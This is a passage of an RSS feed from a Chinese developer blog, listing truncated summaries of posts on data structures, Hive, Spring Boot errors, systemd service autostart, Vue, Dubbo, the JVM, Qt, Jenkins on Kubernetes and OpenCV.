      <pubDate>Thu, 20 Oct 2022 17:40:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/34f6387e6e41b7e3e7264e19067f5af1/</guid>
      <description>一、数据结构的有关概念&#xA;1．掌握数据结构的有关概念，理解逻辑结构与物理结构之间的关系。&#xA;1. 数据：是对客观事物的符号表示，在计算机科学中是指所有能输入到计算机中并被计算机程序处理的符号的总称。 2. 数据元素：数据的基本单位，一个数据元素可由若干数据项组成。 3. 数据项：数据的不可分割的最小单位。 4. 数据对象：性质相同的数据元素的集合，是数据的一个子集。 5. 数据结构：指互相之间存在着一种或多种特定关系的数据元素的集合，包括逻辑结构，存储结构和对数据的运算。（数据元素都不是孤立存在的）。 6. 抽象数据类型（ADT）：指一个数学模型以及定义在该模型上的一组操作，只取决于它的一组逻辑特性，用一个三元组表示（D, S, P）。 7. 数据类型：是程序设计语言中的一个概念，它是一个值的集合和操作的集合。 8. 逻辑结构：是指数据之间关系的描述，与数据的存储结构无关。分为线性结构和非线性结构，通常分为四类结构： 9. 存储结构：是指数据结构在计算机中的表示，又称为数据的物理结构。它包括数据元素的表示和关系的表示， 2．掌握数据结构的几种基本结构。&#xA;逻辑结构：是指数据之间关系的描述，与数据的存储结构无关。分为线性结构和非线性结构，通常分为四类结构：&#xA;1. 集合：结构中的数据元素除了同属于一种类型外，别无其它关系。 2. 线性结构：结构中的数据元素之间存在一对一的关系。 3. 树型结构：结构中的数据元素之间存在一对多的关系。 4. 图状结构（网状结构）：结构中的数据元素之间存在多对多的关系。 存储结构：是指数据结构在计算机中的表示，又称为数据的物理结构。它包括数据元素的表示和关系的表示，通常由四种基本的存储方法实现：&#xA;1. **顺序存储**方式。数据元素顺序存放，每个存储结点只含一个元素，存储位置反映数据元素间的逻辑关系，存储密度大。有些操作（如插入、删除）效率较差。 2. **链式存储**方式。每个存储结点除包含数据元素信息外还包含一组（至少一个）指针，指针反映数据元素间的逻辑关系。这种方式不要求存储空间连续，便于动态操作（如插入、删除等），但存储空间开销大（用于指针），且不能折半查找。 3. **索引存储**方式。除数据元素存储在一组地址连续的内存空间外，还需建立一个索引表，索引表中索引指示存储结点的存储位置（下标）或存储区间端点（下标）。 4. **散列存储**方式。通过散列函数和解决冲突的方法，将关键字散列在连续的有限的地址空间内，并将散列函数的值解释成关键字所在元素的存储地址。其特点是存取速度快，只能按关键字随机存取，不能顺序存取，也不能折半存取。 3．掌握抽象数据类型的表示与实现方法。&#xA;抽象数据类型（ADT）：指一个数学模型以及定义在该模型上的一组操作，只取决于它的一组逻辑特性，用一个三元组表示（D, S, P）。&#xA;4．熟悉算法分析的分析方法。&#xA;语句频度 T(n)，又被称为时间频度，指的是该语句重复执行的次数&#xA;详情&#xA;一&#xA;int i = 1; int k = 0; int n = 10; while(i &amp;lt;= n-1){ k += 10 * i; /*计算该语句频度*/ i++; } while 循环了多少次，就是该语句的频度 while 执行一次 i 自增 1 ，当 i&amp;gt;n-1 时退出，就是当 i=n 时退出 while，i 一开始为 1，所以 while 总共循环了 n-1 次; 频度 ：n-1</description>
    </item>
    <item>
      <title>Hive的函数</title>
      <link>https://bchobby.github.io/posts/ab74f1834fe2f54c92df3d88f33a8b60/</link>
      <pubDate>Thu, 20 Oct 2022 14:07:28 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ab74f1834fe2f54c92df3d88f33a8b60/</guid>
      <description>提示：文章内容仅供参考&#xA;目录&#xA;前言&#xA;一.内置函数&#xA;二.处理json数据&#xA;三.窗口函数&#xA;1.窗口聚合&#xA;2.窗口分片&#xA;3.窗口排序&#xA;4.上下移动&#xA;5.首尾值&#xA;四.自定义函数&#xA;1.自定义UDF&#xA;五. Hive的Shell操作&#xA;总结&#xA;前言 本文就主要介绍hive函数了。&#xA;提示：以下是本篇文章正文内容，下面案例可供参考&#xA;一.内置函数 类型转换&#xA;cast(expr as &amp;lt;type&amp;gt;)&#xA;例：select cast(‘1’ as bignit)&#xA;select cast(‘money’ as bignit)&#xA;切割&#xA;split(string str, string pat)&#xA;例：select split(&#39;hi|hello|morning&#39;,&#39;\\|&#39;)&#xA;正则表达式截取字符串&#xA;select regexp_extract(字段名,正则表达式,索引)&#xA;regexp_extract(string subject, string pattern, int index)&#xA;例：select regexp_extract(&#39;hello&amp;lt;B&amp;gt;world&amp;lt;/B&amp;gt;haha&#39;,&#39;&amp;lt;B&amp;gt;(.*)&amp;lt;/B&amp;gt;&#39;,1)&#xA;将字符串前后出现的空格去掉&#xA;去掉首尾空格 : trim(atring A)去掉字段的前置空格 : ltrim(atring A)去掉字段的后置空格 : rtrim(atring A) 例：select trim(‘ hallo ’)&#xA;select ltrim(‘ hallo ’)</description>
    </item>
    <item>
      <title>正运动三轴运动控制卡ECI3320控制汇川EtherCat伺服2</title>
      <link>https://bchobby.github.io/posts/b7468782641373e6af88836279e117a1/</link>
      <pubDate>Thu, 20 Oct 2022 12:43:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b7468782641373e6af88836279e117a1/</guid>
      <description>调试记录：&#xA;硬件配置表：&#xA;正运动三轴控制卡型号：ECI3320&#xA;汇川伺服驱动器型号：IS620NS2R8I，伺服电机型号：MS1H4-40B30CB Type:A331Z&#xA;调试完成的功能：&#xA;1、利用绝对式编码器，编码器位置记录，不用每次进行回零操作。 a、首先确认绝对式编码器型号的电机和伺服驱动器型号&#xA;b、驱动器开启绝对值&#xA;参考链接：绝对位置模式简单应用介绍 - 通用伺服（单传） - 汇川技术官网-水滴社区 - Powered by Discuz! (inovance.com)&#xA;2、设置扭矩模式下伺服电机的运动速度，利用扭矩速度限制进行控制。 3、利用正运动的板卡进行位置模式和扭矩模式切换，完成挤压力控制 a、设置电机的电子齿轮比，改型号的驱动器，要通过EtherCat总线函数进行电子齿轮比设置，再进行正运动卡组态时完成电子齿轮比的设置。&#xA;完整的函数如下：&#xA;&#39;*******************************************************ECAT总线初始化 &#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39;&#39; global CONST BUS_TYPE = 0&#x9;&#39;总线类型。用于上位机区分当前模式 global CONST MAX_AXISNUM = 8&#x9;&#39;最大轴数 global CONST Bus_Slot&#x9;= 0&#x9;&#39;槽位号0 global CONST Bus_AxisStart&#x9;= 0&#x9;&#39;总线轴起始轴号 global Bus_InitStatus&#x9;&#39;总线初始化完成状态 Bus_InitStatus = -1 global Bus_TotalAxisnum&#x9;&#39;检查扫描的总轴数 delay(3000)&#x9;&#39;延时3S等待驱动器上电 &#39;**********************初始化ECAT总线 Ecat_Init() end global sub Ecat_Init() for i=0 to MAX_AXISNUM - 1&#x9;&#39;初始化还原轴类型&#x9;AXIS_ENABLE(i) = 0 atype(i)=0&#x9;next Bus_InitStatus = -1 Bus_TotalAxisnum = 0&#x9;SLOT_STOP(Bus_Slot) delay(200) slot_scan(Bus_Slot)&#x9;&#39;开始扫描 if return then ?</description>
    </item>
    <item>
      <title>Centos7各种服务的开机自启动（持续更新）</title>
      <link>https://bchobby.github.io/posts/a29e1bb741b9ee820b0b3754c31e56c1/</link>
      <pubDate>Thu, 20 Oct 2022 11:53:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a29e1bb741b9ee820b0b3754c31e56c1/</guid>
      <description>centos7各种服务的开机自启动，偶尔会断电涉及到要开的服务就很多，所以这里统一写了一些，后续会不断更新。&#xA;1.nginx自启动 进入centos的启动目录，编写启动脚本&#xA;vim /usr/lib/systemd/system/nginx.service #nginx 启动脚本 [Unit] Description=nginx After=network.target [Service] Type=forking ExecStart=/usr/local/nginx/sbin/nginx -c /usr/local/nginx/conf/nginx.conf ExecReload=/usr/local/nginx/sbin/nginx -s reload ExecStop=/usr/local/nginx/sbin/nginx -s quit PrivateTmp=true [Install] WantedBy=multi-user.target #设置开机自启动 systemctl enable nginx #查看服务状态 systemctl status nginx 2.jenkins自启动 直接输入命令即可&#xA;systemctl enable jenkins.service 3.tomcat自启动 进入tomcat的bin目录编辑catalina.sh文件，在这个位置加入这个语句（搜索就是esc后，按/后面输入搜索的内容）&#xA;vim catalina.sh CATALINA_PID=&#34;$CATALINA_BASE/tomcat.pid&#34; 编辑自启动脚本&#xA;vim /usr/lib/systemd/system/tomcat.service 注意environment的位置是电脑java环境的位置，tomcat的位置也要替换&#xA;#tomcat自启动脚本 [Unit] Description=Tomcat After=syslog.target network.target remote-fs.target nss-lookup.target [Service] Type=forking Environment=&#34;JAVA_HOME=/usr/java/jdk1.8.0_11&#34; PIDFile=/opt/tomcat/apache-tomcat-8.5.69/tomcat.pid ExecStart=/opt/tomcat/apache-tomcat-8.5.69/bin/startup.sh ExecStop=/bin/kill -s QUIT $MAINPID ExecReload=/bin/kill -s HUP $MAINPID PrivateTmp=true [Install] WantedBy=multi-user.target #设置生效 systemctl daemon-reload #开机自启 systemctl enable tomcat.</description>
    </item>
    <item>
      <title>vue中给render函数子组件设置ref</title>
      <link>https://bchobby.github.io/posts/8009dfd4b4626b741e5a0a788a51970e/</link>
      <pubDate>Thu, 20 Oct 2022 10:43:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8009dfd4b4626b741e5a0a788a51970e/</guid>
      <description>这个问题是我用iview ui 中table嵌套表格出现的，想设置ref调用组件中的方法 我们按照平时的写法，ref是不会生效的，因为render函数是根据传入的标签渲染的，而ref是渲染之后才创建的，所以正常写hrender函数中使用ref是无效的 下面这样写是无效的，是我刚开始的写法，有效的方法继续往下看 { type: &#39;expand&#39;, width: 60, align: &#39;center&#39;, render: (h, params) =&amp;gt; { return h(expandRow, { // 这样写拿不到ref ref: &#39;child1&#39;, props: { code: params.row, getshippingmethodsId: this.getshippingmethodsId, isValue: &#39;open&#39;, dadArgs: this.sonDadArgs }, style: { marginLeft: &#39;46px&#39; }, on: { refresh: this.refresh, fatherAdd1: this.fatherAdd } }) } }, 下面这样写才是有效的 解决办法 把h改为 this.$createElement&#xA;{ type: &#39;expand&#39;, width: 60, align: &#39;center&#39;, render: (h, params) =&amp;gt; { return this.$createElement(expandRow, { // 把h换成this.</description>
    </item>
    <item>
      <title>解决问题 The Tomcat connector configured to listen on port 8080 failed to start.</title>
      <link>https://bchobby.github.io/posts/f9c031e06413e8ccdb42e29b29c0628a/</link>
      <pubDate>Thu, 20 Oct 2022 09:15:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f9c031e06413e8ccdb42e29b29c0628a/</guid>
      <description>记录在学习SpringBoot过程中, 遇到了各种问题..&#xA;错误过程信息： org.apache.catalina.LifecycleException: Failed to start component [Connector[HTTP/1.1-8080]] at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:167) ~[tomcat-embed-core-8.5.31.jar:8.5.31] at org.apache.catalina.core.StandardService.addConnector(StandardService.java:225) ~[tomcat-embed-core-8.5.31.jar:8.5.31] at org.springframework.boot.web.embedded.tomcat.TomcatWebServer.addPreviouslyRemovedConnectors(TomcatWebServer.java:256) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.web.embedded.tomcat.TomcatWebServer.start(TomcatWebServer.java:198) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.startWebServer(ServletWebServerApplicationContext.java:300) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.finishRefresh(ServletWebServerApplicationContext.java:162) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.context.support.AbstractApplicationContext.refresh(AbstractApplicationContext.java:553) [spring-context-5.0.7.RELEASE.jar:5.0.7.RELEASE] at org.springframework.boot.web.servlet.context.ServletWebServerApplicationContext.refresh(ServletWebServerApplicationContext.java:140) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.SpringApplication.refresh(SpringApplication.java:759) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.SpringApplication.refreshContext(SpringApplication.java:395) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.SpringApplication.run(SpringApplication.java:327) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1255) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at org.springframework.boot.SpringApplication.run(SpringApplication.java:1243) [spring-boot-2.0.3.RELEASE.jar:2.0.3.RELEASE] at com.ray.lesson5.Lesson5Application.main(Lesson5Application.java:10) [classes/:na] Caused by: org.apache.catalina.LifecycleException: Protocol handler start failed at org.apache.catalina.connector.Connector.startInternal(Connector.java:1020) ~[tomcat-embed-core-8.5.31.jar:8.5.31] at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:150) ~[tomcat-embed-core-8.5.31.jar:8.5.31] ... 13 common frames omitted Caused by: java.</description>
    </item>
    <item>
      <title>解决问题：PostgreSQL类型为 json, 但表达式的类型为 character varying</title>
      <link>https://bchobby.github.io/posts/0abddd9743055508c6c91b6d3cf8c7aa/</link>
      <pubDate>Thu, 20 Oct 2022 09:06:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0abddd9743055508c6c91b6d3cf8c7aa/</guid>
      <description>SpringBoot保存PostgreSQL的Json、Array字段 前言常见错误类型为 json, 但表达式的类型为 character varying 自定义转换器JsonTypeHandlerPg使用 ArrayTypeHandlerPg使用 前言 我们在SpringBoot中使用Mybatis-plus操作Mysql是非常方便的，但使用PostgreSQL必须指定类型。&#xA;本文主要解决SpringBoot开发过程中使用PostgreSQL操作复杂对象，如Json、Array等数据的处理。&#xA;&amp;lt;!-- PostgreSql --&amp;gt; &amp;lt;dependency&amp;gt; &amp;lt;groupId&amp;gt;org.postgresql&amp;lt;/groupId&amp;gt; &amp;lt;artifactId&amp;gt;postgresql&amp;lt;/artifactId&amp;gt; &amp;lt;/dependency&amp;gt; 常见错误 类型为 json, 但表达式的类型为 character varying org.springframework.jdbc.BadSqlGrammarException: ### Error updating database. Cause: org.postgresql.util.PSQLException: 错误: 字段 &#34;json_data&#34; 的类型为 json, 但表达式的类型为 character varying 建议：你需要重写或转换表达式 位置：245 ### The error may exist in com/ray/mapper/DataTestMapper.java (best guess) ### The error may involve com.ray.mapper.DataTestMapper.insert-Inline ### The error occurred while setting parameters ### SQL: INSERT INTO data_test ( id, json_data, array_data, create_by, create_time, update_by, update_time ) VALUES ( ?</description>
    </item>
    <item>
      <title>解决 Idea更改前端代码需要重新运行</title>
      <link>https://bchobby.github.io/posts/4907109e37eb29a5f825403bd3888291/</link>
      <pubDate>Wed, 19 Oct 2022 23:03:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4907109e37eb29a5f825403bd3888291/</guid>
      <description>一、介绍 在实际的项目开发调试过程中会频繁地修改后台类文件，导致需要重新编译、重新启动，整个过程非常麻烦，影响开发效率。&#xA;（我的 idea 版本是2021的，好像不同版本的配置都不一样）&#xA;二、配置方法 配置完成</description>
    </item>
    <item>
      <title>Dubbo学习——基础使用</title>
      <link>https://bchobby.github.io/posts/f24fb781842e6e656657722101c7b4dd/</link>
      <pubDate>Wed, 19 Oct 2022 20:35:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f24fb781842e6e656657722101c7b4dd/</guid>
      <description>目录&#xA;一、Dubbo的发展历程&#xA;二、Dubbo基本知识&#xA;三、基于Zookeeper注册中心的demo&#xA;四、监控中心dubbo-admin&#xA;一、Dubbo的发展历程 Apache Dubbo 是一款微服务框架，为大规模微服务实践提供高性能 RPC 通信、流量治理、可观测性等解决方案，涵盖 Java、Golang 等多种语言 SDK 实现。&#xA;Dubbo出自于Alibaba公司，2011年开源至GitHub；&#xA;2014年11月发布dubbo2.4.11后停止更新；&#xA;此后一段时间，很多公司根据自己的业务推出了基于dubbo的改良版本，如当当网（Dubbo X）、网易考拉（Dubbo K）;&#xA;2017年，SpringCloud发布，Dubbo继续更新；&#xA;2018年，阿里合并Dubbo X，发布2.6版本并将其贡献给Apache继续维护，更名为 Apache Dubbo。&#xA;二、Dubbo基本知识 Dubbo支持多种协议：&#xA;dubbo 协议 (默认) rmi 协议 hessian 协议 http 协议 webservice 协议 thrift 协议 memcached 协议 redis 协议 RestFull Dubbo的注册中心：&#xA;Nacos（目前最主流） Zookeeper Multicast Redis Simple&#xA;.... Dubbo的监控中心：&#xA;dubbo-admin 三、基于Zookeeper注册中心的demo 1.创建springboot项目并添加三个子模块，即服务的提供方和消费方，存放公用的服务接口&#xA;2.定义服务接口和实体对象&#xA;public class User implements Serializable { public String name; public Integer id; } public interface UserService { User getById(int id); } 实体类要实现Serializable接口，RPC调用的对象数据的传输需要序列化和反序列化</description>
    </item>
    <item>
      <title>idea创建maven项目和Spring boot项目</title>
      <link>https://bchobby.github.io/posts/e733be44e7fdb4147b4f8e1b8ca5e5fc/</link>
      <pubDate>Wed, 19 Oct 2022 17:10:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e733be44e7fdb4147b4f8e1b8ca5e5fc/</guid>
      <description>一、maven项目 1、点击 new project :&#xA;2、点击 maven ，注意 JDK 版本，然后下一步：&#xA;3、取一个项目名，选择保存地址，下一步：&#xA;4、 项目创建成功&#xA;二、Spring boot项目 1、选择 Spring Initializr ，如下配置，然后下一步：&#xA;2、 选择 Web 里面的 Spring Web ，然后下一步：&#xA;3、创建成功：</description>
    </item>
    <item>
      <title>tinymce粘贴word图片问题解决</title>
      <link>https://bchobby.github.io/posts/d777e56752ffd81a930ce3255c9b22d8/</link>
      <pubDate>Wed, 19 Oct 2022 16:12:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d777e56752ffd81a930ce3255c9b22d8/</guid>
      <description>项目需求可发布文章 需求涉及到富文本编辑器 经过查阅我选择了较为简便 不需要后端支持可独立完成的tinymce框架 官方文档也是相当完整 虽然都是全英文 但是有强大的 谷歌~ 没问题的&#xA;编辑器，tinymce 不需要后端配合 只需要把最终编辑完的富文本传给后端就好 很简单&#xA;下载tinymce&#xA;npm install tinymce&#xA;安装tinymce-vue&#xA;npm install @tinymce/tinymce-vue&#xA;下载完成后在node_modules 中找到 tinymce/skins目录 ，复制下来 放置static&#xA;下载中文语言包&#xA;tinymce提供了很多的语言包，这里我们下载语言包 全英文 不懂 自己谷歌打开 翻译一下 选择下载zh_CN&#xA;初始化&#xA;页面引入文件&#xA;import tinymce from &#34;tinymce/tinymce&#34;;&#xA;import Editor from &#34;@tinymce/tinymce-vue&#34;;&#xA;import &#34;tinymce/themes/silver&#34;;&#xA;注意tinymce的路径&#xA;注册使用&#xA;&amp;lt;editor :init=&#34;init&#34; v-model=&#34;content&#34; class=&#34;issue-editor&#34;&amp;gt;&amp;lt;/editor&amp;gt;&#xA;components:{ editor: Editor}&#xA;初始化配置项 官方文档&#xA;有使用powerPaste 将文件powerPaste 复制下来 放置static 引入即可使用&#xA;accept: &#34;image/jpeg, image/png&#34;, //设置图片上传规则&#xA;maxSize: &#34;2097152&#34;, //设置图片大小&#xA;height:&#39;500&#39;,//设置编辑框大小</description>
    </item>
    <item>
      <title>JVM内存结构</title>
      <link>https://bchobby.github.io/posts/87851bf75cb5616ce499a31c84f8b3ec/</link>
      <pubDate>Wed, 19 Oct 2022 15:31:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/87851bf75cb5616ce499a31c84f8b3ec/</guid>
      <description>整体架构 程序计数器 作用 用于保存JVM中下一条所要执行的指令的地址(使用的是设备中的寄存器)&#xA;特点 线程私有 CPU会为每个线程分配时间片，当当前线程的时间片使用完以后，CPU就会去执行另一个线程中的代码程序计数器是每个线程所私有的，当另一个线程的时间片用完，又返回来执行当前线程的代码时，通过程序计数器可以知道应该执行哪一句指令 不会产生内存溢出 虚拟机栈 定义 每个线程运行需要的内存空间，称为虚拟机栈每个栈由多个栈帧组成，对应着每次调用方法时所占用的内存每个线程只能有一个活动栈帧，对应着当前正在执行的方法 演示 public class Main { public static void main(String[] args) { method1(); } private static void method1() { method2(1, 2); } private static int method2(int a, int b) { int c = a + b; return c; } } 在控制台中可以看到，主类中的方法在进入虚拟机栈的时候，符合栈的特点(先进后出)&#xA;问题辨析 垃圾回收是否涉及栈内存？ 不需要。因为虚拟机栈中是由一个个栈帧组成的，在方法执行完毕后，对应的栈帧就会被弹出栈。所以无需通过垃圾回收机制去回收内存。 栈内存的分配越大越好吗 不是。因为物理内存是一定的，栈内存越大，可以支持更多的递归调用，但是可执行的线程数就会越少。 方法内的局部变量是否是线程安全的 如果方法内局部变量没有逃离方法的作用范围，则是线程安全的如果局部变量引用了对象，并逃离了方法的作用范围，则需要考虑线程安全问题 内存溢出 Java.lang.stackOverflowError 栈内存溢出&#xA;发生原因 虚拟机栈中，栈帧过多（无限递归）每个栈帧所占用过大 线程运行诊断 CPU占用过高&#xA;Linux环境下运行某些程序的时候，可能导致CPU的占用过高，这时需要定位占用CPU过高的线程 top命令，查看是哪个进程占用CPU过高ps H -eo pid,tid,%cpu | grep 刚才通过top查到的进程号 通过ps命令进一步查看是哪个线程占用CPU过高（tid:线程id）jstack 进程id 通过查看进程中的线程的nid，刚才通过ps命令看到的tid来对比定位，注意jstack查找出的线程id是16进制的，需要转换。（十进制转十六进制） 本地方法栈 说明 一些带有native关键字的方法就是需要JAVA去调用本地的C或者C++方法，因为JAVA有时候没法直接和操作系统底层交互，所以需要用到本地方法。如下</description>
    </item>
    <item>
      <title>QT 最常用字符串操作</title>
      <link>https://bchobby.github.io/posts/fd91a61ba072b718177d89fc0dff5967/</link>
      <pubDate>Wed, 19 Oct 2022 15:10:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fd91a61ba072b718177d89fc0dff5967/</guid>
      <description>文章目录 ``QString``一、查找字符串位置二、截取指定位置的字符串三、判断字符串是否含有空字符四、判断字符串是否为空值五、指定位置插入字符串六、判断是否以某个字符串开始或结尾七、删除空字符八、排序字符串九、切割字符串十、字符串区分大小写 ``QStringList``一、删除重复字符串二、字符串排序 QString 一、查找字符串位置 QString str = &#34;abccefc&#34;; //1.返回第一次出现的下标，未出现返回-1 int index = str.indexOf(&#34;c&#34;); //2 str.indexOf(&#34;ce&#34;); //3 str.indexOf(&#34;cd&#34;); //-1 //2.返回最后一次出现的下标 str.lastIndexOf(&#34;c&#34;) //6 //3.返回倒数第二次出现的下标 int index = str.lastIndexOf(&#34;/&#34;, (str.lastIndexOf(&#34;/&#34;) - 1)); 二、截取指定位置的字符串 QString x = &#34;Nine pineapples&#34;; //1.从下标5开始，截取4个字符 QString y = x.mid(5, 4); // y == &#34;pine&#34; //2.从下标5开始截取 QString z = x.mid(5); // z == &#34;pineapples&#34; //3.返回最左边的3个字符的字符串 QString k = x.left(3); // k == &#34;Nin&#34; 三、判断字符串是否含有空字符 QString().isEmpty(); // returns true QString(&#34;</description>
    </item>
    <item>
      <title>关于Vue3报错 Failed to resolve component:xxx的问题</title>
      <link>https://bchobby.github.io/posts/a342b79071eb830ed12042778d8154d4/</link>
      <pubDate>Wed, 19 Oct 2022 14:37:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a342b79071eb830ed12042778d8154d4/</guid>
      <description> 最近初学vue3遇到的一个小问题，这个小问题让我感到很讨厌。这个问题是在使用封装的全局组件的时候，出现的这个错。&#xA;我使用的是vite+typescript+pinia开发vue3项目的，因为我也是刚接触，最近被这个问题困扰到。先看代码：&#xA;&amp;lt;script lang=&#34;ts&#34; setup name=&#34;XtxMore&#34;&amp;gt; &amp;lt;/script&amp;gt; &amp;lt;template&amp;gt; &amp;lt;RouterLink to=&#34;/&#34; class=&#34;xtx-more&#34; &amp;gt; &amp;lt;span&amp;gt; &amp;lt;slot&amp;gt;查看全部&amp;lt;/slot&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;i class=&#34;iconfont icon-angle-right&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/RouterLink&amp;gt; &amp;lt;/template&amp;gt; 这个时候控制台中就会报错：&#xA;这是因为我们在给组件起名字的时候，也就是给组件添加name属性的时候，script标签里面没有内容，会导致解析不出来，就会报那个错误。&#xA;在script标签中随便添加点内容就好了&#xA;&amp;lt;script lang=&#34;ts&#34; setup name=&#34;XtxMore&#34;&amp;gt; defineProps() &amp;lt;/script&amp;gt; &amp;lt;template&amp;gt; &amp;lt;RouterLink class=&#34;xtx-more&#34;&amp;gt; &amp;lt;span&amp;gt; &amp;lt;slot&amp;gt;查看全部&amp;lt;/slot&amp;gt; &amp;lt;/span&amp;gt; &amp;lt;i class=&#34;iconfont icon-angle-right&#34;&amp;gt;&amp;lt;/i&amp;gt; &amp;lt;/RouterLink&amp;gt; &amp;lt;/template&amp;gt; </description>
    </item>
    <item>
      <title>jenkins跨K8S集群实现jenkins slave动态构建</title>
      <link>https://bchobby.github.io/posts/1f2d402d8b686677e19f5cf21f8a7842/</link>
      <pubDate>Wed, 19 Oct 2022 14:22:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f2d402d8b686677e19f5cf21f8a7842/</guid>
      <description>一、jenkins连接k8s集群(略，网上有很多种方法) 二、创建podtemplate模板(重点) 这里博主一直踩坑，花费两天才成功解决，因为配置错误导致k8s创建pod的时候一直出现 terminating 状态&#xA;错误配置示范： 正确配置示范： 容器的名称必须是 jnlp&#xA;镜像是 jenkins/inbound-agent&#xA;验证： pipeline脚本&#xA;pipeline { agent { label &#39;jnlp-slave&#39; } stages { stage(&#39;test&#39;) { steps { script { println &#34;test&#34; } } } } } 构建结果成功&#xA;## 附加排错方法，各种查看日志&#xA;查看容器构建的描述信息 kubectl describe pods pods-name -n devops查看pod是构建在哪台机器上，然后在node节点查看容器启动日志 docker logs -f container_namejenkins上 catalina.out 日志 参考博客：Jenkins master位于k8s集群外，实现jenkins slave的动态构建_木讷大叔爱运维的博客-CSDN博客</description>
    </item>
    <item>
      <title>OpenCV轮廓相关操作 C&#43;&#43;</title>
      <link>https://bchobby.github.io/posts/f1e93fb0b3872c8b66c9e2d2dbcf2314/</link>
      <pubDate>Wed, 19 Oct 2022 13:30:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f1e93fb0b3872c8b66c9e2d2dbcf2314/</guid>
      <description>参考&#xA;参考&#xA;轮廓的基本概念 在OpenCV中，可以通过cv::findContours()函数，在灰度图中寻找轮廓。&#xA;函数原型：&#xA;void findContours( InputArray image, OutputArrayOfArrays contours, OutputArray hierarchy, int mode, int method, Point offset = Point()); void findContours( InputArray image, OutputArrayOfArrays contours, int mode, int method, Point offset = Point()); 参数image是输入的灰度图（注意背景要是黑的，物体是白的）；contours是找到的轮廓（每个轮廓由点集表示），其类型一般为std::vector&amp;lt;std::vector&amp;lt;Point&amp;gt; &amp;gt;；hierarchy是每个轮廓对应的属性（例如拓扑信息）；mode是轮廓的检索模式；method是寻找轮廓时使用的近似算法（cv::CHAIN_APPROX_NONE把轮廓上所有的点存储;cv::CHAIN_APPROX_SIMPLE只存储轮廓上的拐点，例如矩形就只保存四个顶点;cv::CHAIN_APPROX_TC89_L1和cv::CHAIN_APPROX_TC89_KCOS为使用&#34;teh-Chinl chain&#34;近似算法）。&#xA;检索模式的种类：&#xA;原图为：&#xA;cv::RETR_EXTERNAL仅检索所有外部轮廓，不包含子级轮廓。&#xA;效果为：&#xA;cv::RETR_LIST检索所有轮廓，不创建任何父子关系。&#xA;效果为：&#xA;cv::RETR_CCOMP检索所有轮廓并将它们排列为2级层次结构，所有外轮廓为1级，所有子级轮廓为2级。&#xA;效果为：&#xA;cv::RETR_TREE检索所有轮廓不创建完整的层次列表，如父级、子级、孙子级等。&#xA;效果为：&#xA;常用的的是cv::RETR_EXTERNAL和cv::RETR_TREE选项。&#xA;轮廓的相关操作 画轮廓&#xA;可以通过cv::drawContours()函数，进行画轮廓。&#xA;函数原型：&#xA;void drawContours( InputOutputArray image, InputArrayOfArrays contours, int contourIdx, const Scalar&amp;amp; color, int thickness = 1, int lineType = LINE_8, InputArray hierarchy = noArray(), int maxLevel = INT_MAX, Point offset = Point() ); 参数image是输入输出图片；contours是cv::findContours()检测到的所有轮廓；contourIdx是取第几个轮廓；color是轮廓的颜色；thickness是轮廓的线宽（注意这个参数为-1时会填充整个轮廓）；lineType是线的形式；hierarchy为关于层级的可选参数，只有绘制部分轮廓时才会用到；maxLevel为绘制轮廓的最高级别，这个参数只有hierarchy有效的时候才有效（maxLevel=0，绘制与输入轮廓属于同一等级的所有轮廓即输入轮廓和与其相邻的轮廓、maxLevel=1, 绘制与输入轮廓同一等级的所有轮廓与其子节点、maxLevel=2，绘制与输入轮廓同一等级的所有轮廓与其子节点以及子节点的子节点）；offset为轮廓偏移量，配合ROI使用。</description>
    </item>
    <item>
      <title>对称加密和非对称加密；公钥，私钥的理解</title>
      <link>https://bchobby.github.io/posts/a6895d5ba368eb2e88d7404bf7404aa7/</link>
      <pubDate>Wed, 19 Oct 2022 11:46:03 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a6895d5ba368eb2e88d7404bf7404aa7/</guid>
